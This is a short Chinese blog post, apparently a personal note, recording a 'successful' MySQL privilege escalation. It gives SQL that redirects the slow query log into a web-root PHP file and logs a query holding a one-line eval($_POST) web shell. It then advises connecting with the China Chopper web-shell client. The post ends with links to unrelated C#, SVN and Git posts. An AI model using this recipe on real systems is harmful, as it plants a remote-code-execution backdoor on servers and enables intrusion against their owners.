当前位置:首页 > 大杂烩 > 正文内容

mysql提权记录,mysql日志提权

高老师4年前 (2021-01-19)大杂烩1552

成功提权,记录一下,具体执行sql:

set GLOBAL slow_query_log =1;
set GLOBAL long_query_time =1;
set GLOBAL slow_query_log_file = 'E:/phpStudy/WWW/25.php';
SELECT "<?php eval($_POST['a']);?>" or sleep(11);

原理:设置sql慢查询的秒数,执行超时会把sql保存为文件,我们把查询语句改为php代码即可,然后上菜刀即可。

扫描二维码推送至手机访问。

版权声明:本文由高久峰个人博客发布,如需转载请注明出处。

本文链接:http://blog.20230611.cn/post/593.html

分享给朋友:

“mysql提权记录,mysql日志提权” 的相关文章

c#中string和StringBuilder效率对比

c#中string和StringBuilder效率对比

    c#中string和StringBuilder直接看看执行速度。(2).String类型累计赋值Test               ...

svn自动更新到网站

svn自动更新到网站

【一】.钩子文件的设置和创建(1).打开hooks目录,可以看到有一个post-commit.tmpl文件,这是一个模板文件。复制一份,重命名为post-commit,将其用户组设为www,并设置为可执行。chown www:www post-commitchmod +x post-commit(2...

Git本地仓库学习

Git本地仓库学习

1.全局用户信息设置 git  config  --global  user.name  gaojiufeng git  config  --global  user.email  392223903...

Application的错误使用

Application的错误使用

Application 对象用于存储和访问来自任意页面的变量,类似 Session 对象。不同之处在于所有的用户分享一个 Application 对象,而 session 对象和用户的关系是一一对应的。很多的书籍中介绍的Application对象都喜欢以统计在线人数来介绍Application 对象...

Git从远程仓库更新文件

Git从远程仓库更新文件

 git   pull  https://git.oschina.net/392223903/learn.git   master   换为您的git地址...

c#关闭计算机的代码

c#关闭计算机的代码

    1.关机Process.Start("shutdown", "-s -t 0");    2. 注销  Proc...